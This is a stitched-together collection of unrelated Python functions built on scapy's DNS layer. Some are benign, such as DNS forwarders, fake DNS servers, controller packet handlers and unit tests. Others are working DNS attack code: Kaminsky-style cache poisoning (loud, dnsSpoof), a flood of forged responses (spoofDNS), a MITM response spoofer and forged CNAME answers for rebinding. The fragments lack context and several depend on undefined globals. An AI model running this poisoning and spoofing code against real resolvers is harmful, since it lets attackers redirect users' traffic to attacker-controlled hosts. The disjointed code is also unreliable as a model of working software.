def handle_packet(self): pkt_eth = self._pkt.get_protocols(ethernet.ethernet)[0] pkt_ip = self._pkt.get_protocols(ipv4.ipv4)[0] pkt_udp = self._pkt.get_protocols(udp.udp) dns = DNS(self._pkt[-1]) cs = self._controller.get_customers() nsdomain = cs[0].get_ns_domain_name() if dns.qr == 1 and dns.ar.rrname != cs[0].get_ns_domain_name(): dns.id = self._controller.get_transaction_id() new_pkt = packet.Packet() new_pkt.add_protocol( ethernet.ethernet(src='00:aa:bb:00:0f:11', dst=cs[0].get_next_hop_mac())) new_pkt.add_protocol( ipv4.ipv4(dst=cs[0].get_name_server(), src=pkt_ip.src, proto=17)) new_pkt.add_protocol( udp.udp(src_port=53, dst_port=self._controller.get_port_number())) new_pkt.add_protocol(dns) self.send_dns_response_packet(new_pkt, cs[0].get_datapath(), cs[0].get_ingress_port()) if dns.qr == 1 and cs[0].get_ns_domain_name() == dns.ar.rrname: #print '----------I am calling another controller------------' self.send_dns_response_to_controller(self._pkt)
def on_read(self, fd, events): data, addr = self.socket.recvfrom(2048) try: dns = DNS(data) except: self.logger.warning("received malformed DNS packet from " + str(addr)) return if dns.qr == 0: self.records[str(dns.id)] = {'time': datetime.utcnow(), 'from': addr} try: self.socket.sendto(data, (self.remote, 53)) self.logger.debug("forwarded DNS request from " + str(addr)) except Exception as e: self.logger.error(str(e)) elif dns.qr == 1: record = self.records.get(str(dns.id), None) if record: try: self.socket.sendto(data, record['from']) self.logger.debug("forwarded DNS answer to " + str(record['from'])) except Exception as e: self.logger.error(str(e)) del self.records[str(dns.id)] else: self.logger.debug("unknown DNS answer: " + dns.summary())
def main(): udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind((BIND_TO, 53)) while 1: data, addr = udps.recvfrom(1024) p = DNS(data) rp = DNS(id=p.id, qr=1, qdcount=p.qdcount) rp.qd = p[DNSQR] if p.opcode == 0: rp.ancount = 1 rp.rcode = 0 answer_ip = resolve_or_fake(p.qd[0].qname) rp.an = DNSRR(rrname=p.qd[0].qname, ttl=60, rdlen=4, rdata=answer_ip) print " - Responding to {0} with {1}.".format( p.qd[0].qname, answer_ip) else: # servfail rp.ancount = 0 rp.rcode = 2 print " ! Query opcode {0}, answering servfail.".format(p.opcode) udps.sendto(rp.build(), addr)
def buildp(self, dnsp, payload=None): n = DNS(id=dnsp.id,qr=1,opcode=0,aa=1,tc=0,rd=dnsp.rd,ra=0,qdcount=dnsp.qdcount,nscount=0,arcount=0,qd=dnsp.qd) if payload: a = DNSRR(rrname=dnsp.qd.qname,type=1,rclass=1,ttl=60,rdlen=4,rdata=payload) n.an = a n.ancount = 1 return n
def inquery(qname, qtype, nameserver, rd=1, timeout=2, retry=2): if not isinstance(nameserver, list): nameserver = [nameserver] s = socket.socket(type=socket.SOCK_DGRAM) s.settimeout(timeout) dnsq = DNS(id=RandShort(), rd=rd, qd=DNSQR(qname=qname, qtype=qtype)) sendit = True id = 0 for ns in nameserver: for r in range(0, retry + 1): try: if sendit: p = str(dnsq) id = unpack('!H', p[0:2])[0] s.sendto(p, 0, (ns, 53)) dnsr = DNS(s.recvfrom(4096)[0]) if id != dnsr.id: sendit = False continue return dnsr except socket.timeout: sendit = True continue except socket.error: sendit = True continue return None
def dnsSpoof(pkt): if not pkt.haslayer(DNSQR) or not pkt.haslayer(UDP): sendp(pkt, verbose=False) else: if (globalargs.randomSubdomain in pkt[DNS].qd.qname) and (pkt[IP].dst in globalargs.soaIP): # return the response to the victim (it will think its from the authoritative DNS) spoof_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, \ ns=DNSRR(rrname=globalargs.targetDomain, type='NS', rdata=globalargs.soaDomain[0], ttl=globalargs.ttl), \ ar=DNSRR(rrname=globalargs.soaDomain[0], type='A', rdata=globalargs.addressToForge, ttl=globalargs.ttl)) send(spoof_pkt, verbose=False) print ccolors.OKGREEN + "Victim DNS poisoned...\n" + ccolors.NC elif (globalargs.randomSubdomain in pkt[DNS].qd.qname) and (pkt[IP].dst == globalargs.addressToForge): spoof_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \ DNS(id=pkt[DNS].id, qr=1, aa=1, rcode=0, qd=pkt[DNS].qd, \ an=DNSRR(rrname=pkt[DNS].qd.qname, type="A", rdata="123.123.123.123")) send(spoof_pkt, verbose=False) print ccolors.OKGREEN + "Attack successful!\n" + ccolors.NC + ccolors.WARNING + "Terminating..." + ccolors.NC sys.exit()
def spoof_dns_response(orig_pkt, spoof_ip, iface): """ Summary: This method responds to DNS Query by spoofing and can be utilized for Man In The Middle(MITM) attack. """ print(f"Spoofing: {orig_pkt[DNSQR].qname.decode('UTF-8')}") try: # Construct DNS response with following modifications # qr: 1 --> response # ra: 1 --> recursion available # ancount:1 --> count of answers provided # an --> Spoofed DNS answer with dummy fixed ttl and IP dns_resp = DNS(id=orig_pkt[DNS].id, qr=1, ra=1, ancount=1, qdcount=orig_pkt[DNS].qdcount, qd=orig_pkt[DNS].qd, an=DNSRR(rrname=orig_pkt[DNSQR].qname, rdata=spoof_ip, ttl=DNS_TTL)) resp_pkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP( dport=orig_pkt[UDP].sport, sport=53) / DNS() resp_pkt[DNS] = dns_resp # Sending DNS response send(resp_pkt, verbose=0, iface=iface) return f"Spoofed DNS Response Sent: {orig_pkt[IP].src}" except Exception as err: raise err
def handle_socket_msg(self): pkt_eth = self._pkt.get_protocols(ethernet.ethernet)[0] pkt_ip = self._pkt.get_protocols(ipv4.ipv4)[0] pkt_udp = self._pkt.get_protocols(udp.udp)[0] pkt_dns = DNS(self._pkt[-1]) print('----------------Sent query with ID', pkt_dns.id, pkt_dns) if pkt_udp.dst_port == 53 or pkt_udp.src_port == 53: #print 'A DNS query for controller is received' if pkt_dns: cs = self._controller.get_customers() d_mac = cs[0].get_next_hop_mac() pkt_dns.qr = 0 new_pkt = packet.Packet() e = ethernet.ethernet(dst=cs[0].get_next_hop_mac(), src=pkt_eth.src) new_pkt.add_protocol(e) new_pkt.add_protocol( ipv4.ipv4(src=self._controller.get_ip(), dst=cs[0].get_name_server(), proto=17)) new_pkt.add_protocol( udp.udp(src_port=pkt_udp.dst_port, dst_port=pkt_udp.src_port)) new_dns = DNS(rd=0, id=pkt_dns.id, qd=DNSQR(qname=pkt_dns.qd.qname), ns=DNSRR(rrname=pkt_dns.ar.rrname, type=1, ttl=60000, rdata=cs[0].get_name_server())) new_pkt.add_protocol(new_dns) new_pkt.serialize() self.send_dns_packet(new_pkt, cs[0].get_datapath(), cs[0].get_ingress_port())
def main(): mode = sys.argv[1] if len(sys.argv) > 1 else "none" if not mode in ["fakenx", "fake"]: print >> sys.stderr, 'Please supply argv[1] in ["fakenx", "fake"]' return 1 udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind((BIND_TO, 53)) while 1: data, addr = udps.recvfrom(1024) p = DNS(data) rp = DNS(id=p.id, qr=1, qdcount=p.qdcount) rp.qd = p[DNSQR] if p.opcode == 0: rp.ancount = 1 rp.rcode = 0 answer_ip = ANSWER_WITH if mode == "fakenx": answer_ip = resolve_or_fake(p.qd[0].qname) rp.an = DNSRR(rrname=p.qd[0].qname, ttl=60, rdlen=4, rdata=answer_ip) print " - Responding to {0} with {1}.".format( p.qd[0].qname, answer_ip) else: rp.ancount = 0 rp.rcode = 2 print " ! Query opcode {0}, answering servfail.".format(p.opcode) udps.sendto(rp.build(), addr)
def craft_MDNS_IPv6(self, packet: Packet) -> Packet: """ This function crafts a MDNS-IPv6 packet. """ name = packet[DNSQR].qname return ( [ IPv6(dst=self.multicast_v6) / UDP(sport=5353, dport=5353) / DNS( qr=1, aa=1, rd=0, ancount=self.ipv6_number, an=self.craft_DNSv6_response(name), ), IPv6(dst=self.multicast_v6) / UDP(sport=5353, dport=5353) / DNS( qr=1, aa=1, rd=0, ancount=1, an=DNSRR(ttl=30, rrname=name, rdata=self.ip), ), ], packet[IPv6].src, name, "DNS", )
def info(interface): print("package test") test_domain = 'www.google.com' client = NM.Client.new(None) dev = client.get_device_by_iface(interface) ip4config = dev.get_ip4_config() ip6config = dev.get_ip6_config() name_servers4 = ip4config.get_nameservers() name_servers6 = ip6config.get_nameservers() print("IPv4 DNS servers: {}".format(name_servers4)) print("DNS query to {}".format(name_servers4[0])) payload = IP(dst=name_servers4[0]) payload /= UDP(dport=53) payload /= DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com')) dns_rep = sr1(payload, verbose=0) for i in range(dns_rep['DNS'].arcount): print("DNS reply: {}".format(dns_rep['DNS'].ar[i].rdata)) print("IPv6 DNS servers: {}".format(name_servers6)) print("DNS query to {}".format(name_servers6[0])) payload = IPv6(dst=name_servers6[0]) payload /= UDP(dport=53) payload /= DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com')) dns_rep = sr1(payload, verbose=0) for i in range(dns_rep['DNS'].arcount): print("DNS reply: {}".format(dns_rep['DNS'].ar[i].rdata))
def test_dns(): """ Tests DNS layer. """ dns = layers.dns_layer.DNSLayer(DNS()) print(dns.gen("id")) assert dns.gen("id") p = layers.packet.Packet(DNS(id=0xabcd)) p2 = layers.packet.Packet(DNS(bytes(p))) assert p.get("DNS", "id") == 0xabcd assert p2.get("DNS", "id") == 0xabcd p2.set("DNS", "id", 0x4321) assert p.get("DNS", "id") == 0xabcd # Check p is unchanged assert p2.get("DNS", "id") == 0x4321 dns = layers.packet.Packet(DNS(aa=1)) assert dns.get("DNS", "aa") == 1 aa = dns.gen("DNS", "aa") assert aa == 0 or aa == 1 assert dns.get("DNS", "aa") == 1 # Original value unchanged dns = layers.packet.Packet(DNS(opcode=15)) assert dns.get("DNS", "opcode") == 15 opcode = dns.gen("DNS", "opcode") assert opcode >= 0 and opcode <= 15 assert dns.get("DNS", "opcode") == 15 # Original value unchanged dns.set("DNS", "opcode", 3) assert dns.get("DNS", "opcode") == 3 dns = layers.packet.Packet(DNS(qr=0)) assert dns.get("DNS", "qr") == 0 qr = dns.gen("DNS", "qr") assert qr == 0 or qr == 1 assert dns.get("DNS", "qr") == 0 # Original value unchanged dns.set("DNS", "qr", 1) assert dns.get("DNS", "qr") == 1 dns = layers.packet.Packet(DNS(arcount=0xAABB)) assert dns.get("DNS", "arcount") == 0xAABB arcount = dns.gen("DNS", "arcount") assert arcount >= 0 and arcount <= 0xffff assert dns.get("DNS", "arcount") == 0xAABB # Original value unchanged dns.set("DNS", "arcount", 65432) assert dns.get("DNS", "arcount") == 65432 dns = layers.dns_layer.DNSLayer(DNS() / DNSQR(qname="example.com")) assert isinstance(dns.get_next_layer(), DNSQR) print(dns.gen("id")) assert dns.gen("id") p = layers.packet.Packet(DNS(id=0xabcd)) p2 = layers.packet.Packet(DNS(bytes(p))) assert p.get("DNS", "id") == 0xabcd assert p2.get("DNS", "id") == 0xabcd
def test_decompress(logger): """ Tests the tamper 'decompress' primitive. """ tamper = actions.tamper.TamperAction(None, field="qd", tamper_type="compress", tamper_value=10, tamper_proto="DNS") assert tamper.field == "qd", "Tamper action changed fields." assert tamper.tamper_type == "compress", "Tamper action changed types." assert str( tamper ) == "tamper{DNS:qd:compress}", "Tamper returned incorrect string representation: %s" % str( tamper) packet = layers.packet.Packet( IP(dst="8.8.8.8") / UDP(dport=53) / DNS(qd=DNSQR(qname="minghui.ca."))) original = packet.copy() tamper.tamper(packet, logger) assert bytes( packet["DNS"] ) == b'\x00\x00\x01\x00\x00\x02\x00\x00\x00\x00\x00\x00\x07minghui\xc0\x1a\x00\x01\x00\x01\x02ca\x00\x00\x01\x00\x01' resp = sr1(packet.packet) assert resp["DNS"] assert resp["DNS"].rcode != 1 assert resp["DNSQR"] assert resp["DNSRR"].rdata assert confirm_unchanged(packet, original, IP, ["len"]) print(resp.summary()) packet = layers.packet.Packet( IP(dst="8.8.8.8") / UDP(dport=53) / DNS(qd=DNSQR(qname="maps.google.com"))) original = packet.copy() tamper.tamper(packet, logger) assert bytes( packet["DNS"] ) == b'\x00\x00\x01\x00\x00\x02\x00\x00\x00\x00\x00\x00\x04maps\xc0\x17\x00\x01\x00\x01\x06google\x03com\x00\x00\x01\x00\x01' resp = sr1(packet.packet) assert resp["DNS"] assert resp["DNS"].rcode != 1 assert resp["DNSQR"] assert resp["DNSRR"].rdata assert confirm_unchanged(packet, original, IP, ["len"]) print(resp.summary()) # Confirm this is a NOP on normal packets packet = layers.packet.Packet(IP() / UDP()) original = packet.copy() tamper.tamper(packet, logger) assert packet.packet.summary() == original.packet.summary() # Confirm tamper didn't corrupt anything else in the TCP header assert confirm_unchanged(packet, original, UDP, []) # Confirm tamper didn't corrupt anything else in the IP header assert confirm_unchanged(packet, original, IP, [])
def test_doc_success(self): self._set_resp( 2, 1, DNS( qr=1, qd=[DNSQR(qname="example.org", qtype="AAAA")], ancount=1, # ancount needs to be set since `an` is already encoded an=( # already encoding # [DNSRR(ttl=300, type="AAAA", rdata="2001:db8::1")] # to make older scapy version on Murdock happy b"\x00\x00\x1c\x00\x01\x00\x00\x01,\x00\x10 \x01\r\xb8\x00\x00" b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" ), ), ) self.spawn.sendline("uri coap://[::1]") self.spawn.expect_exact("Successfully added URI coap://[::1]") self.spawn.sendline("query example.org") self.spawn.expect_exact( "Hostname example.org resolves to 2001:db8::1 (IPv6)" ) self.spawn.sendline("query example.org inet6") self.spawn.expect_exact( "Hostname example.org resolves to 2001:db8::1 (IPv6)" ) self.spawn.sendline("query example.org inet") self.spawn.expect_exact("Bad message") self._set_resp( 2, 1, DNS( qr=1, qd=[DNSQR(qname="example.org", qtype="A")], ancount=1, # ancount needs to be set since `an` is already encoded an=( # already encoding # [DNSRR(ttl=300, type="A", rdata="192.0.0.1")] # to make older scapy version on Murdock happy b"\x00\x00\x01\x00\x01\x00\x00\x01,\x00\x04\xc0\x00\x00\x01" ), ), ) self.spawn.sendline("query example.org inet") self.spawn.expect_exact( "Hostname example.org resolves to 192.0.0.1 (IPv4)" ) if self.has_dns_cache(): self.spawn.sendline("query example.org inet6") self.spawn.expect_exact( "Hostname example.org resolves to 2001:db8::1 (IPv6)" ) else: self.spawn.sendline("query example.org inet6") self.spawn.expect_exact("Bad message")
def io_in(self, data): a = DNS() try: a.dissect(data[2:]) if DEBUG: a.show() if not a.qd: return self.err(a, 1) self.answer(a) except: traceback.print_exc() self.err(a, 1)
def handle_packet(self): pkt_eth = self._pkt.get_protocols(ethernet.ethernet)[0] pkt_ip = self._pkt.get_protocols(ipv4.ipv4)[0] pkt_udp = self._pkt.get_protocols(udp.udp) dns = DNS(self._pkt[-1]) cs = self._controller.get_customers() for c in range(len(cs)): if IPAddress(pkt_ip.src) in IPNetwork( cs[c].get_private_ip_subnet()): index = c #print'---##################INEX#############',index #self._controller.set_current_customer_id(index) #index=self._controller.get_current_customer_id() if pkt_udp is not None and self._pport is not None: new_pkt = packet.Packet() new_pkt.add_protocol( ethernet.ethernet(src='10:00:00:00:10:ff', dst=cs[index].get_next_hop_mac())) new_pkt.add_protocol( ipv4.ipv4(src='10.1.0.18', dst=cs[index].get_name_server(), proto=17)) #print '********index********',pkt_udp,'*******PORT********',self._pport,'######################' new_pkt.add_protocol(udp.udp(src_port=53, dst_port=self._pport)) #print'---pkt is created---til udp' #new_dns=DNS(rd=0,id=pkt_dns.id,qd=DNSQR(qname=pkt_dns.qd.qname),ns=DNSRR(rrname=pkt_dns.ar.rrname,type=1,ttl=60000,rdata=cs[index].get_name_server())) dns = DNS(rd=0, id=dns.id, qr=1L, qd=dns.qd, ancount=1, nscount=1, arcount=1, an=(DNSRR(rrname='ROOT-SERVER.', type='A', rclass='IN', ttl=60000, rdata='10.1.0.18')), ns=(DNSRR(rrname='ROOT-SERVER.', type='NS', rclass='IN', ttl=3600, rdata='.')), ar=DNSRR(rrname='ROOT-SERVER.', type='A', rclass='IN', ttl=60000, rdata='10.1.0.18')) #print('---DNS fo . SENT----',dns) new_pkt.add_protocol(dns) new_pkt.serialize() self.send_dns_packet(new_pkt, cs[index].get_datapath(), cs[index].get_ingress_port()) self._pport = None
def loud(args): poisoned = False # first packet sent to the victim NS to start the recursive domain to ip resolution reqPkt = IP(dst=args.victim) / UDP(sport=53) / DNS(qr=0, qd=DNSQR(qname="")) # authoritative record realNSRR = DNSRR(rrname=args.targetDomain, type='NS', rdata=args.soaDomain[0], ttl=args.ttl) # fake additional record (glue) fakeARR = DNSRR(rrname=args.soaDomain[0], type='A', rdata=args.addressToForge, ttl=args.ttl) amount = 5 resPkts = list() for x in xrange(0, amount - 1): resPkts.append( IP(dst=args.victim) / UDP(sport=53, dport=54) / DNS(aa=1, qr=1, qd=DNSQR(qname=""), ns=realNSRR, ar=fakeARR)) while not poisoned: # generate random subdomain, i.e. 1234www5678.example.com queryDomain = utils.getRandomSubdomain() + args.targetDomain for x in xrange(0, amount - 1): resPkts[x][DNS].id = utils.getRandomTXID() resPkts[x][DNS].qd.qname = queryDomain reqPkt[DNS].qd.qname = queryDomain send(reqPkt, verbose=False) for x in xrange(0, amount - 1): send(resPkts[x], verbose=False) # ask the victim for the IP of the domain we are trying to spoof pkt = sr1(IP(dst=args.victim) / UDP(sport=53) / DNS(qr=0, qd=DNSQR(qname=args.soaDomain[0], qtype='A')), verbose=False) if pkt[DNS].an and pkt[DNS].an.rdata: actualAnswer = str(pkt[DNS].an.rdata) # if the IP is our IP, we poisoned the victim if actualAnswer == args.addressToForge: poisoned = True print ccolors.OKGREEN + 'Poisoned now!\n' + ccolors.NC deltaTime = datetime.datetime.now() - args.startTime print ccolors.WARNING + 'It took: ' + str(deltaTime) + ccolors.NC
def getSoaForDomain(args): pkt = IP(dst="8.8.8.8") / UDP(sport=utils.getRandomPort()) / DNS(qr=0, rd=1, qd=DNSQR(qname=args.targetDomain, qtype="NS")) ans = sr1(pkt, verbose=False) args.soaDomain = list(expandLayers(ans[DNS].an, "rdata")) args.soaIP = list() for domain in args.soaDomain: pkt = IP(dst="8.8.8.8") / UDP(sport=utils.getRandomPort()) / DNS(qd=DNSQR(qname=domain, qtype="A")) ans = sr1(pkt, verbose=False) args.soaIP.append(ans[DNS].an.rdata) print args
def dohHandler(data, address, csocket, doh_host, deny_list): # implement DNS over HTTPS dns_req = IP(dst=doh_host) / UDP(dport=UDP_PORT) / DNS(data) qid = dns_req[DNS].id qname = dns_req[DNSQR].qname orig_qname = qname qname_str = qname.decode() qname_str = qname_str[:-1] qname = qname_str.encode() qtype = dns_req[DNSQR].qtype if qtype == 1: query_type = 'A' if qtype == 5: query_type = 'CNAME' if qtype == 2: query_type = 'NS' if qtype == 15: query_type = 'MX' # Check if domain name should be blocked, log if needed for domain in deny_list: domain = domain.strip() domainbytes = domain.encode() if qname == domainbytes: # QNAME should be denied if logging: logf.write(qname.decode()) logf.write(' ') logf.write(query_type) logf.write(' DENY\n') nxd = DNS(id=qid, rcode=3, qd=DNSQR(qtype=qtype, qname=orig_qname)) resp_pkt = nxd csocket.sendto(bytes(resp_pkt), address) return # Log if necessary if logging: logf.write(qname.decode()) logf.write(' ') logf.write(query_type) logf.write(' ALLOWED\n') # Send using HTTPS protocol url = 'https://' + qname_str req = urllib.request.Request(url) req.add_header('Referer', doh_host) r = urllib.request.urlopen(req) resp = r.read() csocket.sendto(resp, address)
def forward_dns(orig_pkt): print(f'Forwarding: {orig_pkt[DNSQR].qname}') resp_pkt = IP(dst=orig_pkt[IP].src) / UDP( dport=orig_pkt[UDP].sport) / DNS() response = sr1(IP(dst='8.8.8.8') / UDP(sport=orig_pkt[UDP].sport) / DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0) resp_pkt[DNS] = response[DNS] send(resp_pkt, verbose=0) return f'Responding: {resp_pkt.summary()}'
def main(): mode = sys.argv[1] if len(sys.argv) > 1 else "none" if not mode in ["fakenx", "fake"]: print >>sys.stderr, 'Please supply argv[1] in ["fakenx", "fake"]' return 1 udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind((BIND_TO,53)) while 1: data, addr = udps.recvfrom(1024) p = DNS(data) rp = DNS(id=p.id, qr=1, qdcount=p.qdcount) rp.qd = p[DNSQR] if p.opcode == 0: rp.ancount = 1 rp.rcode = 0 answer_ip = ANSWER_WITH if mode == "fakenx": answer_ip = resolve_or_fake(p.qd[0].qname) rp.an = DNSRR(rrname=p.qd[0].qname, ttl=60, rdlen=4, rdata=answer_ip) print " - Responding to {0} with {1}.".format(p.qd[0].qname, answer_ip) else: rp.ancount = 0 rp.rcode = 2 print " ! Query opcode {0}, answering servfail.".format(p.opcode) udps.sendto(rp.build(), addr)
def forward_dns(orig_pkt: IP): print("Forwarding: {orig_pkt[DNSQR].qname}") response = sr1( IP(dst='192.168.1.1') / UDP(sport=orig_pkt[UDP].sport) / DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0, ) resp_pkt = IP(dst=orig_pkt[IP].src, src=DNS_SERVER_IP) / UDP( dport=orig_pkt[UDP].sport) / DNS() resp_pkt[DNS] = response[DNS] send(resp_pkt, verbose=0) return "Responding to {orig_pkt[IP].src}"
def main(): udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind((BIND_TO,53)) while 1: data, addr = udps.recvfrom(1024) p = DNS(data) rp = DNS(id=p.id, qr=1, qdcount=p.qdcount) rp.qd = p[DNSQR] if p.opcode == 0: rp.ancount = 1 rp.rcode = 0 answer_ip = resolve_or_fake(p.qd[0].qname) rp.an = DNSRR(rrname=p.qd[0].qname, ttl=60, rdlen=4, rdata=answer_ip) print " - Responding to {0} with {1}.".format(p.qd[0].qname, answer_ip) else: # servfail rp.ancount = 0 rp.rcode = 2 print " ! Query opcode {0}, answering servfail.".format(p.opcode) udps.sendto(rp.build(), addr)
def test_dnsqr(): """ Tests DNSQR. """ pkt = UDP() / DNS(ancount=1) / DNSQR() pkt.show() packet = layers.packet.Packet(pkt) packet.show() assert len(packet.layers) == 3 assert "UDP" in packet.layers assert "DNS" in packet.layers assert "DNSQR" in packet.layers pkt = IP() / UDP() / DNS() / DNSQR() packet = layers.packet.Packet(pkt) assert str(packet)
def dns_serv(args): from scapy.all import DNS, DNSRR, DNSQR import time udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) udps.bind((args.bind, 53)) cache = {} lru = [] last_cleanup = time.time() while 1: data, addr = udps.recvfrom(1024) p = DNS(data) rp = DNS(id=p.id, qr=1, qdcount=p.qdcount, ancount=1, rcode=0) rp.qd = p[DNSQR] # IN A if p.opcode == 0 and p[DNSQR].qtype == 1 and p[DNSQR].qclass == 1: if not p.qd[0].qname in cache: if p.qd[0].qname == "dns.msftncsi.com.": answer_ip = "131.107.255.255" else: answer_ip = randip() rp.an = DNSRR(rrname=p.qd[0].qname, ttl=60, rdlen=4, rdata=answer_ip) else: lru.remove(p.qd[0].qname) rp.an = DNSRR(rrname=p.qd[0].qname, ttl=60, rdlen=4, rdata=cache[p.qd[0].qname]) log.debug("Responding to {0}/{2},{3} with {1}/{4},{5}.".format(p.qd[0].qname, answer_ip, p[DNSQR].qtype, p[DNSQR].qclass, rp.an.type, rp.an.rclass)) cache[p.qd[0].qname] = answer_ip lru.append(p.qd[0].qname) # IN PTR, just send NXDOMAIN elif p.opcode == 0 and p[DNSQR].qtype == 12 and p[DNSQR].qclass == 1: rp.ancount = 0 rp.rcode = 3 log.info("PTR query to {0}/{1},{2} answering nxdomain".format(p.qd[0].qname, p[DNSQR].qtype, p[DNSQR].qclass)) else: rp.ancount = 0 rp.rcode = 2 log.warn("Unhandled query opcode {0} for {1}/{2},{3} - answering servfail.".format(p.opcode, p.qd[0].qname, p[DNSQR].qtype, p[DNSQR].qclass)) udps.sendto(rp.build(), addr) if last_cleanup < time.time() - 60: last_cleanup = time.time() if len(cache) > CACHESIZE: to_remove, lru = lru[:CACHESIZE*0.1], lru[CACHESIZE*0.1:] for i in to_remove: del cache[i]
def dns_callback(pkt): if DNS in pkt and not UDPerror in pkt: global first_request global dns_id ip = pkt.getlayer(IP) dns = pkt.getlayer(DNS) if dns.qr: return dns.summary() else: if dns.qd != None and dns_id != dns.id: if confusion in dns.qd.qname: dns_id = dns.id answer = IP(dst=ip.src, src=ip.dst) / UDP( dport=ip.sport, sport=ip.dport) / DNS( id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, type="CNAME", ttl=dns_ttl, rdata=attacker) / DNSRR(rrname=attacker, ttl=dns_ttl, rdata=victim)) send(answer, loop=0) return dns.summary() elif attacker in dns.qd.qname: dns_id = dns.id answer = IP(dst=ip.src, src=ip.dst) / UDP( dport=ip.sport, sport=ip.dport ) / DNS( id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=dns_ttl, rdata=attacker_ip) / DNSRR(rrname=dns.qd.qname, ttl=dns_ttl, rdata=victim)) send(answer, loop=0) return dns.summary()
def dnsHandler(data, address, csocket, dns_ip, deny_list): # Form a DNS request using scapy dns_req = IP(dst=dns_ip) / UDP(dport=UDP_PORT) / DNS(data) qid = dns_req[DNS].id qname = dns_req[DNSQR].qname orig_qname = qname qname_str = qname.decode() qname_str = qname_str[:-1] qname = qname_str.encode() qtype = dns_req[DNSQR].qtype if qtype == 1: query_type = 'A' if qtype == 5: query_type = 'CNAME' if qtype == 2: query_type = 'NS' if qtype == 15: query_type = 'MX' # Check if domain name should be blocked, log if needed for domain in deny_list: domain = domain.strip() domainbytes = domain.encode() if qname == domainbytes: # QNAME should be denied if logging: logf.write(qname.decode()) logf.write(' ') logf.write(query_type) logf.write(' DENY\n') nxd = DNS(id=qid, rcode=3, qd=DNSQR(qtype=qtype, qname=orig_qname)) resp_pkt = nxd csocket.sendto(bytes(resp_pkt), address) return # Send UDP query to upstream DNS resolver udp_response = sendUDP(dns_ip, data) # Log if necessary if logging: logf.write(qname.decode()) logf.write(' ') logf.write(query_type) logf.write(' ALLOWED\n') # send back to client csocket.sendto(udp_response, address)
def test_a_lookup(self): question = IP(dst=self.resolverAddr) / \ UDP() / \ DNS(rd=1, qd=DNSQR(qtype="A", qclass="IN", qname=self.hostname)) log.msg("Performing query to %s with %s:%s" % (self.hostname, self.resolverAddr, self.resolverPort)) yield self.sr1(question)
def handle_packet(self): pkt_ip = self._pkt.get_protocols(ipv4.ipv4)[0] pkt_udp = self._pkt.get_protocols(udp.udp)[0] cs = self._controller.get_customers() index1 = self._controller.get_current_customer_id() dns = DNS(self._pkt[-1]) print('------UDP---------', index1, cs[int(index1)].get_next_hop_mac(), self._controller.get_transaction_id()) if self._controller.get_destination_nat( ) is not None and self._controller.get_transaction_id() is not None: new_pkt = packet.Packet() new_pkt.add_protocol( ethernet.ethernet(src='10:00:00:00:10:ff', dst=cs[int(index1)].get_next_hop_mac())) new_pkt.add_protocol( ipv4.ipv4(src=pkt_ip.src, dst=cs[int(index1)].get_name_server(), proto=17)) new_pkt.add_protocol( udp.udp(src_port=pkt_udp.src_port, dst_port=pkt_udp.dst_port)) new_pkt.add_protocol(self._pkt[-1]) print('---------okt--------', new_pkt) new_pkt.serialize() print( '----------------The Number of Exchanged PACKETS between Controllers-----', self._controller.get_packet_counter()) self.send_dns_packet(new_pkt, cs[int(index1)].get_datapath(), cs[int(index1)].get_ingress_port()) elif self._controller.get_destination_nat() is None: self.send_dns_response_to_controller(self._pkt)
def spoofDNS(): dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # print("Sub Domain", SUB_DOMAIN) Qdsec = DNSQR(qname=SUB_DOMAIN) Anssec = DNSRR(rrname=SUB_DOMAIN, type='A', rdata=SPROOF_ADDR, ttl=68900) dns = DNS(id=getRandomTXID(), aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=0, qd=Qdsec, an=Anssec, ns=DNSRR(rrname=b'example.com', rdata=SPROOF_NS_1, type='NS') / DNSRR(rrname=b"example.com", type='NS', rdata=SPROOF_NS_2)) response = dns response.getlayer(DNS).qd.qname = SUB_DOMAIN for _ in range(125): # Set random TXID from 0 to 255 response.getlayer(DNS).id = getRandomTXID() sendPacket(dns_sock, response, DNS_ADDR, my_query_port) dns_sock.close()
def test_from_datasources(): packets_1 = [ Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") / IP(src="127.0.0.1", dst="192.168.1.1") / TCP(sport=12345, dport=80) / HTTP() / HTTPRequest(Method="GET", Path="/foo", Host="https://google.com") ] packets_2 = [ # HTTP Packet Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") / IP(src="127.0.0.1", dst="192.168.1.1") / TCP(sport=12345, dport=80) / HTTP() / HTTPRequest(Method="GET", Path="/foo", Host="https://google.com"), # DNS Packet Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") / IP(src="127.0.0.1", dst="192.168.1.1") / UDP(sport=80, dport=53) / DNS(rd=1, qd=DNSQR(qtype="A", qname="google.com"), an=DNSRR(rdata="123.0.0.1")), # TCP Packet Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") / IP(src="127.0.0.1", dst="192.168.1.1") / TCP(sport=80, dport=5355), ] nx = NetworkX.from_datasources([ packets_to_datasource_events(packets) for packets in [packets_1, packets_2] ]) # Make the graph nx.graph() assert not nx.is_empty()
